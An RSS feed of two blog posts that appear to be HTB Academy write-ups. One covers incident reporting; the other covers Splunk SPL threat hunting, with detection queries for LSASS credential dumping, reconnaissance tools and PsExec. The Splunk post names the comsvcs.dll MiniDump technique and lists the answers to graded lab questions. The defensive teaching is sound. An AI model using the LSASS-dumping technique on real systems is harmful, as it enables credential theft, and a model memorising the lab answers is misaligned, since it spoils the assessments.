<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohammed Gbreil on Medium]]></title>
        <description><![CDATA[Stories by Mohammed Gbreil on Medium]]></description>
        <link>https://medium.com/@0xgbreil?source=rss-d7c57ae8b6e6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Fw3-0IJMY3J5pSFgDtGwcQ.jpeg</url>
            <title>Stories by Mohammed Gbreil on Medium</title>
            <link>https://medium.com/@0xgbreil?source=rss-d7c57ae8b6e6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 22:39:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xgbreil/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Security Incident Reporting | HTB Academy]]></title>
            <link>https://medium.com/@0xgbreil/security-incident-reporting-htb-academy-1a5ff0382e9d?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a5ff0382e9d</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[report]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Sat, 14 Nov 2026 17:56:19 GMT</pubDate>
            <atom:updated>2026-11-14T17:56:19.219Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p>Today, I will explain some important points covered in the <strong>Understanding Log Sources &amp; Investigating with Splunk</strong> module and walk through the questions related to the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XV_Spg_x-1RLO_h0twb_kw.png" /></figure><p>Security Incident Reporting is an essential part of cybersecurity operations. As organizations become more dependent on technology, the risk of cyberattacks and security incidents continues to increase. These incidents can affect business operations, expose sensitive information, and cause financial and reputational damage. Therefore, organizations need a clear and structured process to identify, investigate, document, and report security incidents.</p><p>The main purpose of incident reporting is not only to record what happened, but also to understand how the incident occurred, determine its impact, document the actions taken, and use the findings to prevent similar incidents in the future.</p><p><strong>Incident Identification and Categorization</strong></p><p>The first step in handling a security incident is identifying suspicious activities that may indicate a security threat. Incidents can be detected through different sources, including security tools such as SIEM, IDS/IPS, EDR/XDR, and antivirus solutions. They can also be reported by employees who notice unusual activities, suspicious emails, or unexpected system behavior. In addition, third parties such as customers, vendors, and business partners may notify an organization about potential security issues.</p><p>After identifying an incident, it is important to categorize it based on its nature. Common incident types include Malware, Phishing, DDoS Attacks, Unauthorized Access, Data Leakage, and Physical Breaches. Each incident should also be assigned a severity level to determine its priority and the resources required to handle it. These levels are usually classified as Critical (P1), High (P2), Medium (P3), and Low (P4). The classification may change during the investigation as new evidence becomes available and the actual impact becomes clearer.</p><p><strong>The Incident Reporting Process</strong></p><p>A structured incident reporting process helps organizations manage security incidents from initial detection to final reporting. It consists of several steps:</p><ol><li><strong>Initial Detection and Acknowledgement:</strong> The incident is first detected through security alerts, human observations, or other sources. The responsible team acknowledges the alert and begins the investigation.</li><li><strong>Preliminary Analysis:</strong> The security team performs an initial assessment to understand the nature of the incident, identify potentially affected systems, estimate its impact, and assign an initial category and severity level.</li><li><strong>Incident Logging:</strong> All relevant information, observations, evidence, and actions must be recorded in an organized system. Platforms such as JIRA and TheHive can be used to track incidents, document findings, and maintain a record of the investigation.</li><li><strong>Notification of Relevant Parties:</strong> The appropriate stakeholders must be informed about the incident. This may include internal departments such as IT, Legal, and Executive Management, as well as external parties such as customers, business partners, and regulatory authorities when necessary.</li><li><strong>Detailed Investigation and Reporting:</strong> A deeper technical investigation is performed to understand how the attacker gained access, which systems were affected, what actions were performed, and whether sensitive information was accessed or exposed. All findings should be supported by reliable evidence.</li><li><strong>Final Report Creation:</strong> Once sufficient information has been collected, a final report is prepared to explain the incident, its root cause, its impact, and the response actions taken.</li><li><strong>Feedback Loop:</strong> After handling the incident, the organization reviews the investigation and response process to identify weaknesses, improve security controls, and reduce the possibility of similar incidents in the future.</li></ol><p><strong>Elements of a Proper Incident Report</strong></p><p>A professional incident report should provide a complete and clear explanation of the security incident for both technical and non-technical audiences.</p><p>The <strong>Executive Summary</strong> provides a brief overview of the incident, including its unique ID, type, severity, detection time, current status, key findings, immediate response actions, and potential impact on stakeholders. It is especially important because management and other non-technical readers may only review this section.</p><p>The <strong>Technical Analysis</strong> contains the detailed investigation findings. It identifies the affected systems and data, explains the evidence sources and analysis methods, and lists the Indicators of Compromise (IoCs), such as suspicious IP addresses, file hashes, domains, and malicious processes. It also includes Root Cause Analysis to identify the underlying weaknesses that allowed the incident to occur.</p><p>Another important part of the technical analysis is the <strong>Technical Timeline</strong>, which presents the incident in chronological order. It may include reconnaissance, initial compromise, Command and Control (C2) communication, enumeration, lateral movement, data access and exfiltration, malware activity, containment, eradication, and recovery. This timeline helps investigators understand the attacker’s actions and the sequence of events.</p><p>The report should also include an <strong>Impact Analysis</strong> to evaluate the effects of the incident on the organization’s data, business operations, customers, employees, finances, and reputation. This helps management understand the extent of the damage and make informed decisions.</p><p>The <strong>Response and Recovery Analysis</strong> documents how the organization handled the incident. It covers access revocation, containment strategies, malware removal, vulnerability patching, data restoration, and system validation. It should also explain the actions taken after recovery, including enhanced monitoring, gap analysis, and recommendations for improving security.</p><p>In addition, diagrams such as incident flowcharts, affected systems maps, and attack vector diagrams can help explain complex technical events. Appendices can be used to include supporting materials such as log files, network diagrams, forensic evidence, memory dumps, code snippets, communication records, and other relevant documents.</p><p><strong>Communication During Security Incidents</strong></p><p>Effective communication is essential throughout the incident response process. It helps maintain stakeholder trust, coordinate response activities, and ensure that everyone involved understands the current situation and their responsibilities.</p><p>Internal communication involves notifying relevant departments and providing regular updates about the incident, its potential impact, and the actions being taken. It should also allow teams to share findings, raise concerns, and provide feedback.</p><p>External communication may involve informing affected customers, business partners, regulatory bodies, or the public. In major incidents, organizations may need to issue public statements that explain the situation clearly without overwhelming readers with technical details. Regulatory notifications must follow the applicable laws and required reporting timeframes.</p><p>Communication channels must also be protected, especially when discussing sensitive incident information. Important security considerations include encryption to protect messages, authentication and authorization to control access, and data integrity to ensure that information has not been modified. Multi-Factor Authentication (MFA) adds another layer of protection.</p><p>Other communication considerations include ephemeral messaging, which allows messages to disappear after a certain period, and air-gapped communication systems, which can be useful when normal communication networks are suspected to be compromised.</p><p>Organizations must also consider regulatory requirements such as data privacy laws, breach notification deadlines, record-keeping obligations, cross-border data transfer restrictions, and maintaining a proper Chain of Custody when incident-related communications may be used as legal evidence.</p><p><strong>Real-World Incident Reporting</strong></p><p>A real-world incident report demonstrates how these concepts are applied during an actual security investigation. For example, an organization may experience an internal network compromise caused by weak network access controls and vulnerable software. An attacker could gain initial access through a malicious PDF file, execute malicious commands using PowerShell, and later exploit a buffer overflow vulnerability to access another internal system.</p><p>In such a scenario, the SOC and DFIR teams would analyze system logs, network traffic, and forensic evidence to understand the attacker’s activities. They would identify affected systems, collect IoCs, determine the root cause, and build a technical timeline of the incident.</p><p>The response would include isolating compromised systems, blocking malicious communication, revoking compromised credentials and API keys, removing malware, applying security patches, and restoring systems from verified backups. Finally, the organization would review the incident and improve network access controls, network segmentation, email filtering, monitoring capabilities, and employee security awareness.</p><p>This example demonstrates how incident identification, technical investigation, documentation, communication, and recovery work together as part of a complete incident reporting process.</p><p><strong>Best Practices and Continuous Improvement</strong></p><p>Organizations should always aim to identify the root cause of incidents rather than simply remove the immediate threat. Regular updates should be provided to relevant stakeholders, and non-sensitive findings can be shared with the cybersecurity community to improve collective defense. External security specialists may also be involved to review investigations and validate findings.</p><p>Ultimately, Security Incident Reporting is more than documenting security events. It is a continuous process that helps organizations understand threats, coordinate effective responses, preserve important evidence, evaluate business impact, and learn from previous incidents. A well-structured reporting process improves incident response capabilities and strengthens an organization’s overall security posture.</p><h3>Questions</h3><p><strong><em>Q1: Name the type of an incident involving an attempt of infiltration through an email.</em></strong></p><pre>Answer: phishing</pre><p><strong><em>Q2: Name the step responsible for writing down every information that could be used and be classified as important. (2 words)</em></strong></p><pre>Answer: Incident Logging</pre><p><strong><em>Q3: Name the type of a diagram that provides an overview of the attack path and the methods used by an attacker. (3 words)</em></strong></p><pre>Answer: Attack Vector Diagram</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a5ff0382e9d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Log Sources & Investigating with Splunk | HTB Academy]]></title>
            <link>https://medium.com/@0xgbreil/understanding-log-sources-investigating-with-splunk-htb-academy-ebea80e1014f?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ebea80e1014f</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 23:41:35 GMT</pubDate>
            <atom:updated>2026-11-02T23:41:35.973Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p>Today, I will explain some important points covered in the <strong>Understanding Log Sources &amp; Investigating with Splunk</strong> module and walk through the lab questions related to the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfzLbnUisYkoe8sOsRRUZg.png" /></figure><p>This module explains <strong>how to use Splunk as a SIEM</strong> to analyze <strong>Logs</strong> and monitor activities happening across systems and networks. It also covers how to use <strong>SPL</strong> to search through the data and extract important information.</p><p>It also explains <strong>how to identify the Data Sources available in Splunk</strong>, such as <strong>Indexes, Sourcetypes, and Sources</strong>, and how to identify the <strong>Fields</strong> within the Logs and use them for searching and analysis.</p><p>The module also covers important <strong>SPL</strong> commands used in <strong>Investigation and Threat Hunting</strong>, such as stats, eval, rex, lookup, and rare, which help analyze events and detect unusual or suspicious activities.</p><p>Finally, it explains how to use the data and <strong>Logs</strong> available in Splunk for <strong>Security Incident Investigation</strong>, understand what happened, and correlate events to identify the cause of the suspicious activity.</p><p>Let’s get started!</p><h3>1- Introduction To Splunk &amp; SPL</h3><p>This section explains the <strong>basics of Splunk and how it works as a SIEM</strong>, including how Logs are collected, stored, and analyzed. It also covers the main Splunk components, such as <strong>Forwarders, Indexers, and Search Heads</strong>.</p><p>It also explains <strong>SPL (Search Processing Language)</strong> and how to use it to search through Logs, filter data, extract important information, and analyze Events using different commands such as stats, eval, rex, lookup, and others.</p><p>To save time, I created a <strong>Cheat Sheet</strong> containing the most important SPL commands and Functions, including search and filtering commands, data analysis, Fields, Lookups, Time Range, Operators, and Subsearches. I published it on my <strong>GitBook</strong>:</p><p><a href="https://0xgbreil.gitbook.io/0xgbreil/splunk-spl-commands-cheat-sheet">Splunk SPL Commands Cheat Sheet | 0xgbreil</a></p><p><strong><em>Q1: Navigate to </em></strong><a href="http://[Target"><strong><em>http://[Target</em></strong></a><strong><em> IP]:8000, open the “Search &amp; Reporting” application, and find through an SPL search against all data the account name with the highest amount of Kerberos authentication ticket requests. Enter it as your answer.</em></strong></p><p>We will open the <strong>Splunk</strong> interface, then go to <strong>Search &amp; Reporting</strong> and set the <strong>Time Range</strong> to <strong>All time</strong>.</p><p>First, we will identify the available <strong>Sourcetypes</strong> using the following query:</p><pre>| metadata type=sourcetypes index=* | table sourcetype</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xc7MMn63xepT0JVcPJaNHQ.png" /></figure><p>Since the question asks us to find the account with the highest number of <strong>Kerberos Authentication Ticket Requests</strong>, we first need to identify the <strong>Event ID</strong> responsible for this type of activity. We can see that <strong>Event ID 4768</strong> represents a request for a <strong>Kerberos Authentication Ticket (TGT)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lEie6Fh3RT3wyRvrZOSdSw.png" /><figcaption><a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768">https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4768</a></figcaption></figure><p>Therefore, we use the following query:</p><pre>index=* sourcetype=WinEventLog:Security EventCode=4768<br>| stats count by Account_Name</pre><p>This query searches across <strong>all Indexes</strong> (index=*) in the <strong>Security Logs</strong> (sourcetype=WinEventLog:Security) for events with <strong>EventCode=4768</strong>.</p><p>Then, we use stats count by Account_Name to count the number of <strong>Event 4768</strong> occurrences for each Account. This allows us to identify which account made the highest number of Kerberos Authentication Ticket requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Jzynq4zBwiE7avgDACd1A.png" /></figure><p>We can see that the results are sorted by the number of events, and the account <strong>waldo</strong> has the highest number of Kerberos Authentication Ticket requests, with a total of <strong>12 requests</strong>.</p><pre>Answer: waldo</pre><p><strong><em>Q2: Navigate to </em></strong><a href="http://[Target"><strong><em>http://[Target</em></strong></a><strong><em> IP]:8000, open the “Search &amp; Reporting” application, and find through an SPL search against all 4624 events the count of distinct computers accessed by the account name SYSTEM. Enter it as your answer.</em></strong></p><p>This question asks us to find the <strong>number of unique computers that were accessed using the SYSTEM account</strong> through 4624 logon events.</p><p>To do this, we will use the following query:</p><pre>index=* sourcetype=WinEventLog:Security EventCode=4624 Account_Name=SYSTEM<br>| dedup ComputerName<br>| table ComputerName</pre><p>The query does the following:</p><ul><li>index=* → Searches across <strong>all Indexes</strong> available in Splunk.</li><li>sourcetype=WinEventLog:Security → Limits the search to <strong>Windows Security Logs</strong>.</li><li>EventCode=4624 → Searches for <strong>Successful Logon</strong> events.</li><li>Account_Name=SYSTEM → Filters the results to events associated with the <strong>SYSTEM</strong> account.</li><li>dedup ComputerName → Removes duplicate <strong>ComputerName</strong> values, so each computer appears only once.</li><li>table ComputerName → Displays only the computer names in the results.</li></ul><p>Therefore, instead of counting the number of 4624 events, we count the <strong>unique computer names</strong> where the SYSTEM account appeared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHaQuEPeuQqVU07nofhOvA.png" /></figure><p>We can see that there are <strong>10 unique computers</strong> in the results.</p><pre>Answer: 10</pre><p><strong><em>Q3: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and run a SPL search against all 4624 events. Identify the accounts whose total login activity occurred within a time range of less than 10 minutes. As your answer, enter the name of the account having highest login attempts.</em></strong></p><p>This question asks us to identify the <strong>accounts whose login attempts all occurred within a period of less than 10 minutes</strong>, and then determine which account had the highest number of login attempts.</p><p>To do this, we will use the following query:</p><pre>index=* EventCode=4624<br>| stats count as login_attempts earliest(_time) as first_login latest(_time) as last_login by Account_Name<br>| eval duration_minutes=round((last_login-first_login)/60,2)<br>| where duration_minutes &lt; 10<br>| sort - login_attempts<br>| table Account_Name login_attempts first_login last_login duration_minutes</pre><p>The query does the following:</p><ul><li>index=* EventCode=4624 → Searches across all <strong>Indexes</strong> for <strong>Event 4624</strong>, which represents a successful logon.</li><li>stats count as login_attempts → Counts the number of login attempts for each account and names the count login_attempts.</li><li>earliest(_time) as first_login → Finds the first login time for each account.</li><li>latest(_time) as last_login → Finds the last login time for each account.</li><li>by Account_Name → Groups the results by account.</li><li>eval duration_minutes=... → Calculates the time difference between the first and last login in minutes.</li><li>where duration_minutes &lt; 10 → Shows only accounts whose login attempts all occurred within less than 10 minutes.</li><li>sort - login_attempts → Sorts the results in descending order by the number of login attempts, so the account with the highest number appears first.</li><li>table → Displays only the relevant information: account name, number of attempts, first login, last login, and duration.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DQLwf4nkWIkch_wnCJ_GtA.png" /></figure><p>We can see that the account <strong>aparsa</strong> has the highest number of login attempts, with <strong>9 attempts</strong> occurring within <strong>3.38 minutes</strong>.</p><pre>Answer: aparsa</pre><h3>2- Using Splunk Applications</h3><p>This section explains <strong>Splunk Apps</strong> and their role in adding new capabilities to Splunk, such as <strong>Dashboards, Searches, and Alerts</strong>.</p><p>It also covers the <strong>Sysmon App for Splunk</strong> and how to use <strong>Search Macros</strong>, including the fact that sometimes we need to modify the Search when it uses a Field that does not exist in the Logs, such as replacing Computer with ComputerName.</p><p><strong><em>Q1: Access the Sysmon App for Splunk and go to the “Reports” tab. Fix the search associated with the “Net — net view” report and provide the complete executed command as your answer. Answer format: net view /Domain:_.local</em></strong></p><p>This question asks us to find the <strong>full command executed using </strong><strong>net.exe</strong> from the <strong>Net - net view</strong> report.</p><p>We will follow the <strong>Sysmon App</strong> installation steps explained in the module. After completing the installation, we go to the <strong>Reports</strong> section at the top, search for <strong>Net — net view</strong>, and then select <strong>Open in Search</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FDEoAxyVOiCARn0Z-XgFLg.png" /></figure><p>After several attempts, I modified the query to:</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; *net.exe* OriginalFileName=&quot;net.exe&quot;<br>| table CommandLine</pre><p>This query searches the <strong>Sysmon Logs</strong> for events containing net.exe and also verifies that the OriginalFileName is net.exe. We then use table CommandLine to display only the <strong>executed commands</strong>.</p><p>From the results, we can see the required command:</p><pre>net view /DOMAIN:unwaldo.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JfM1QDbX6NiwVzxmIDp5HQ.png" /></figure><pre>Answer: net view /DOMAIN:unwaldo.local</pre><p><strong><em>Q2: Access the Sysmon App for Splunk, go to the “Network Activity” tab, and choose “Network Connections”. Fix the search and provide the number of connections that SharpHound.exe has initiated as your answer.</em></strong></p><p>This question asks us to find the <strong>number of Network Connections created by </strong><strong>SharpHound.exe</strong>.</p><p>From the top, we select <strong>Network Activity</strong>, then <strong>Network Connections</strong>. After that, we select <strong>Edit</strong>, click <strong>Edit Search</strong>, and modify the query to:</p><pre>`sysmon` EventCode=3 Image=&quot;*SharpHound.exe&quot;<br>| stats count</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1ULueLkd6AeXOwKdIDnoQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_60UKRnm9AGrlu5f1R42Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*AoshrZN98Be0gGo8prF5Vw.png" /></figure><p>The query searches for <strong>Sysmon Event ID 3</strong>, which represents <strong>Network Connections</strong>, and filters the events where the Image is SharpHound.exe.</p><p>We then use:</p><pre>| stats count</pre><p>to calculate the <strong>total number of Connections</strong> created by SharpHound.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FB6aqTibaOJKbUjXg5MjAQ.png" /></figure><p>We can see that the total number of Connections is <strong>6</strong>.</p><pre>Answer: 6</pre><h3>3- Intrusion Detection With Splunk (Real-world Scenario)</h3><p>This section focus on how to use <strong>Splunk effectively in Threat Hunting</strong>, rather than simply writing a Search and looking at the results.</p><p>First, we learn how to create <strong>accurate and targeted Searches</strong> by specifying the Index, Sourcetype, and important Fields instead of searching through all Logs randomly. This helps reduce <strong>Noise</strong>, make the Search faster, and focus on events that may be valuable during an Investigation.</p><p>Then, we learn how to turn Hunting results into <strong>Meaningful Alerts</strong>. Not every suspicious result means that it is Malicious, so we need to review the results, eliminate normal activities that may cause <strong>False Positives</strong>, and then create more accurate Detections.</p><p><strong>Important Tips:</strong></p><ul><li>Always try to start with a broad Search, then gradually narrow down the results.</li><li>Use Fields instead of searching through the Raw Logs whenever possible.</li><li>Do not consider every Alert as confirmed evidence of an Attack; review the Context and related Events.</li><li>Try to reduce <strong>False Positives</strong> before creating an Alert.</li><li>When writing a Detection, always think: <strong>Can an attacker bypass this Detection?</strong></li><li>The better you understand the Logs and Data Sources, the stronger your Searches and Alerts will be.</li></ul><p><strong><em>Q1: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through an SPL search against all data the other process that dumped lsass. Enter its name as your answer. Answer format: _.exe</em></strong></p><p>In this question, we need to identify the <strong>Process that accessed </strong><strong>lsass.exe to dump Credentials</strong>, using the Logs available in Splunk.</p><p>Since there is a similar example explained in this section, we will use the same approach to search for Processes that performed <strong>Process Access</strong> on lsass.exe.</p><p>First, we will use the following query:</p><pre>index=&quot;main&quot; EventCode=10 lsass | stats count by SourceImage</pre><p>This query works as follows:</p><ul><li>index=&quot;main&quot; → Searches within the main index.</li><li>EventCode=10 → Filters for <strong>Sysmon Event ID 10</strong>, which records <strong>Process Access</strong>, meaning when one Process attempts to access another Process.</li><li>lsass → Searches for events related to lsass.exe.</li><li>| stats count by SourceImage → Groups the results by SourceImage and counts how many times each Process accessed lsass.exe.</li></ul><p>This gives us a list of the <strong>Processes that accessed </strong><strong>lsass.exe</strong> and the number of times each one did so.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6L1UQbSN19c-OiwXyd8wjw.png" /></figure><p>From the results, we can see several Processes, including normal ones such as csrss.exe, msiexec.exe, and wininit.exe. However, there are also some unusual Processes, especially:</p><pre>C:\Windows\System32\notepad.exe<br>C:\Windows\System32\rundll32.exe</pre><p>The notepad.exe Process is very suspicious because it is unusual for Notepad to open a Handle to lsass.exe. We therefore inspected its Event and the CallTrace, which showed:</p><pre>C:\Windows\System32\ntdll.dll+9d4c4|UNKNOWN(...)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*INcAuXj4kRbdnQnJ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*ThQQoMbOh_maZY3m.png" /></figure><p>The presence of UNKNOWN in the Call Stack is important because the section explains that Shellcode is often located in an <strong>unbacked memory region</strong>, meaning API calls originating from it may appear as UNKNOWN instead of pointing to a file on the Disk.</p><p>The question does not ask us to identify notepad.exe. Instead, it says <strong>&quot;the other process&quot;</strong>, meaning we need to find the <strong>other Process</strong> that accessed lsass.exe.</p><p>By comparing the results with the case explained in the section, we can see that the other notable Process is:</p><pre>Answer: rundll32.exe</pre><p><strong><em>Q2: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through SPL searches against all data the method through which the other process dumped lsass. Enter the misused DLL’s name as your answer. Answer format: _.dll</em></strong></p><p>we will use the following query:</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=10 lsass SourceImage=&quot;C:\\Windows\\System32\\rundll32.exe&quot;<br>| stats count by SourceImage, TargetImage, CallTrace</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*twqE66z1_S6_pYym" /></figure><p>After identifying rundll32.exe as the process used to access LSASS, we need to determine how the dumping was performed.</p><p>The process was abusing comsvcs.dll, a legitimate Windows DLL that provides COM+ functionality. The DLL contains the MiniDump function, which can be abused to create a memory dump of another process, including lsass.exe.</p><p>This technique allows an attacker to use a legitimate Windows component to dump LSASS memory instead of relying on a dedicated credential-dumping tool.</p><pre>Answer: comsvcs.dll</pre><p><strong><em>Q3: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through an SPL search against all data any suspicious loads of clr.dll that could indicate a C# injection/execute-assembly attack. Then, again through SPL searches, find if any of the suspicious processes that were returned in the first place were used to temporarily execute code. Enter its name as your answer. Answer format: _.exe</em></strong></p><p>This question asks us to identify the <strong>suspicious Process that loaded </strong><strong>clr.dll</strong>, and then determine whether the same Process was used to execute Code temporarily, which could indicate a C# Injection or Execute-Assembly attack.</p><p>We will start with the following query:</p><pre>index=&quot;main&quot; EventCode=7 ImageLoaded=&quot;*clr.dll&quot;<br>| stats count by Image</pre><p>This query works as follows:</p><ul><li>index=&quot;main&quot; → Searches within the main index.</li><li>EventCode=7 → Filters for <strong>Sysmon Event ID 7</strong>, which records <strong>Image/DLL Loading</strong>.</li><li>ImageLoaded=&quot;*clr.dll&quot; → Searches for events where clr.dll was loaded.</li><li>| stats count by Image → Groups the results by Image to identify which Processes loaded the DLL and how many times.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r019Yectj2wK-MwLVPHIIA.png" /></figure><p>After the results appear, we focus on the unusual Processes that loaded clr.dll. The presence of clr.dll inside an unexpected Process can indicate an attempt to load and use the <strong>.NET CLR</strong> to execute Code.</p><p>We then use additional SPL Searches to check whether one of these Processes was used to <strong>execute Code temporarily</strong>. By correlating the DLL loading results with the Process’s subsequent activity, we find that the suspicious Process is rundll32.exe.</p><p>rundll32.exe is a legitimate Windows utility used to execute functions from DLLs, but attackers can abuse it to load the CLR and execute .NET-based payloads in a way that may help hide the activity.</p><pre>Answer: rundll32.exe</pre><p><strong><em>Q4: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through SPL searches against all data the two IP addresses of the C2 callback server. Answer format: 10.0.0.1XX and 10.0.0.XX</em></strong></p><p>This question asks us to identify the <strong>two IP addresses of the C2 (Command and Control) server</strong> that the machines were communicating with.</p><p>We will use the following query to search for <strong>Network Connections</strong> in Sysmon:</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=3<br>| stats count by Image, DestinationIp</pre><p>This query works as follows:</p><ul><li>index=&quot;main&quot; → Searches within the main index.</li><li>sourcetype=&quot;WinEventLog:Sysmon&quot; → Filters the results to <strong>Sysmon</strong> Logs.</li><li>EventCode=3 → Filters for <strong>Sysmon Event ID 3</strong>, which records <strong>Network Connections</strong>.</li><li>| stats count by Image, DestinationIp → Groups the results by Process and Destination IP to identify which Processes connected to each Destination IP and how many times.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f5XkOHzV9QimThyyey4Kag.png" /></figure><p>From the results, we can see that notepad.exe made connections to several IP addresses, including:</p><pre>10.0.0.186<br>10.0.0.47<br>10.0.0.91</pre><p>Since the question asks for the <strong>two C2 Callback Server IP addresses</strong>, we focus on the IPs associated with the suspicious notepad.exe activity. The two required addresses are:</p><pre>Answer: 10.0.0.186 and 10.0.0.91</pre><p><strong><em>Q5: Navigate to http://[Target IP]:8000, open the “Search &amp; Reporting” application, and find through SPL searches against all data the port that one of the two C2 callback server IPs used to connect to one of the compromised machines. Enter it as your answer.</em></strong></p><p>This question asks us to identify the <strong>Port used by one of the C2 Callback Server IP addresses</strong> to communicate with one of the compromised machines.</p><p>Since we identified the two C2 IP addresses in the previous question:</p><pre>10.0.0.186<br>10.0.0.91</pre><p>We will use the following query to search for <strong>Network Connections</strong> associated with these two addresses:</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=3 (SourceIp=&quot;10.0.0.186&quot; OR SourceIp=&quot;10.0.0.91&quot;)<br>| stats values(DestinationPort) as destination_ports</pre><p>The query works as follows:</p><ul><li>EventCode=3 → Searches for <strong>Network Connection events</strong> in Sysmon.</li><li>SourceIp=&quot;10.0.0.186&quot; OR SourceIp=&quot;10.0.0.91&quot; → Searches for connections where one of the C2 IPs is the source of the connection.</li><li>values(DestinationPort) → Extracts the Destination Ports used in the connections.</li><li>stats ... as destination_ports → Displays the Ports found in the results.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*znPXAtKxRLfi0f25fMkfiw.png" /></figure><p>The results show that the C2 server used <strong>Port 3389</strong> to connect to one of the compromised machines.</p><pre>Answer: 3389</pre><h3>2- Detecting Attacker Behavior With Splunk Based On TTPs</h3><p>This section explains how to use <strong>TTPs</strong> and <strong>suspicious behavior</strong> in Splunk to detect attacker activity.</p><h4>Detecting Reconnaissance Activities</h4><p>Detecting the use of Windows utilities to gather information about the system and Network.</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=1 Image=*\\ipconfig.exe OR Image=*\\net.exe OR Image=*\\whoami.exe OR Image=*\\netstat.exe OR Image=*\\nbtstat.exe OR Image=*\\hostname.exe OR Image=*\\tasklist.exe<br>| stats count by Image,CommandLine<br>| sort - count</pre><h4>Detecting Payloads from GitHub</h4><p>Detecting DNS Queries related to GitHub, which may be used to host Payloads or Tools.</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=22 QueryName=&quot;*github*&quot;<br>| stats count by Image,QueryName</pre><h4>Detecting PsExec Usage</h4><p>Detecting Artifacts related to PsExec usage through Registry, Files, and Named Pipes.</p><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=13 Image=&quot;C:\\Windows\\system32\\services.exe&quot; TargetObject=&quot;HKLM\\System\\CurrentControlSet\\Services\\*\\ImagePath&quot;<br>| rex field=Details &quot;(?&lt;reg_file_name&gt;[^\\\]+)$&quot;<br>| stats count by reg_file_name,ComputerName</pre><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=11 Image=System<br>| stats count by TargetFilename</pre><pre>index=&quot;main&quot; sourcetype=&quot;WinEventLog:Sysmon&quot; EventCode=18 Image=System<br>| stats count by PipeName</pre><h4>Detecting Archive Files</h4><p>Detecting the creation of .zip, .rar, and .7z files, which may be used to transfer Tools or 